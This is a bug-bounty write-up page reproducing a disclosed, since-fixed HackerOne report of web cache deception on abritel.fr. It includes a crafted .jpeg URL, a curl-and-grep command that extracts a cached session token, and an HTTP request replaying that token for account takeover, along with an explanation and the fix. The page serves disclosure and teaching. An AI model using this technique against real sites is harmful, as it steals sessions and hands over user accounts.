Skip to content
Cache bugs Disclosed report Intermediate

Cache Deception Allows Account Takeover

A search page reflected the user's session token and could be cached by the caching server when the URL ended in a .jpeg extension. An attacker could request the same URL and read the cached session token, then use it to access the victim's profile and account.

bombon Follow

Originally disclosed on HackerOne

  • Triaged in 21 days
  • Fixed in 51 days
  • Paid in 30 days
  • Disclosed after 7 months

Summary by the researcher

I was able to Takeover Accounts via Cache Deception

This was possible due to:

  1. The Session Token was reflected on https://www.abritel.fr/search/keywords:soissons-france-(xss)/minNightlyPrice/{anything} and the server was responding with a 200 Ok (200 Ok responses allows the cache to last a lot longer than any other response)

  2. The Caching Server sees https://www.abritel.fr/search/keywords:soissons-france-(xss)/minNightlyPrice/cached.jpeg as a "cacheable" response, due to jpeg extension at the end of the URL, the server will save it

Team fixed this by removing the Session Token from all pages, which is what I now recommend for all programs.

The report

Summary:

I'm able to extract user's session (HASESSIONV3) as it is disclosed in a cacheable page, allowing me to access the ha.crumb token located in /traveler/profile/edit

HTTP
GET /traveler/profile/edit HTTP/2
Host: www.abritel.fr
Cookie: HASESSIONV3=<use the token here>
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.abritel.fr/search/keywords:soissons-france-(xss)/minNightlyPrice/0?petIncluded=false&filterByTotalPrice=true&ssr=true
Upgrade-Insecure-Requests: 1
Te: trailers

Steps To Reproduce:

Victim Steps:

1->Visit https://www.abritel.fr/search/keywords:soissons-france-(xss)/minNightlyPrice/x.jpeg?triagethis

Attacker Steps:

1->Visit the same URL using any other browser or do

curl 'https://www.abritel.fr/search/keywords:soissons-france-(xss)/minNightlyPrice/x.jpeg?triagethis' --compressed | grep -i 'HASESSIONV3'

2022-09-12.png
2022-09-12.png From the original on HackerOne

2-> use the token

HTTP
GET /traveler/profile/edit HTTP/2
Host: www.abritel.fr
Cookie: HASESSIONV3=<use the token here>
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.abritel.fr/search/keywords:soissons-france-(xss)/minNightlyPrice/0?petIncluded=false&filterByTotalPrice=true&ssr=true
Upgrade-Insecure-Requests: 1
Te: trailers

and look for the ha.crumb variable in the response

Recommended Remediation Steps

  1. Add cache rules for certain all cacheable extensions

Impact

Account Takeover

The original report as published on HackerOne, by bombon. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the application reflected the session token in a page body and the cache treated URLs ending in an image extension as cacheable, so a victim's token was stored and served to others.

Impact

An attacker could take over a victim's account by reusing the leaked session token.

What the attacker needed

Victim visits a crafted URL; attacker requests the same URL

The fix

The team fixed it by removing the session token from all pages, and the reporter also recommends adding cache rules for cacheable extensions.

How it was found

  1. Victim visits the search URL ending in an image extension with a query string.
  2. Attacker requests the same URL from another browser or with curl and greps the response for the session token.
  3. Attacker reuses the captured session token in a request to the profile edit page.
  4. Attacker looks for the ha.crumb variable in the response.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A website's cache is a shared copy of a page kept so it loads faster for everyone. Here the page included the visitor's secret login token, and the cache was tricked into storing it because the address ended in .jpeg. Anyone who then asked for that address got the stored copy, including the victim's login token, which let them act as the victim.

What is Cache bugs?

A cache and the origin disagree about a request, so a poisoned response is served to everyone or a private page is stored as public.

More by bombon

View all

5 more disclosed reports, best first.

More from Expedia Group Bug Bounty

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Web cache poisoning and deception

The lesson behind this report.

A cache and the origin disagree about a request, so a poisoned response is served to everyone or a private page is stored as public.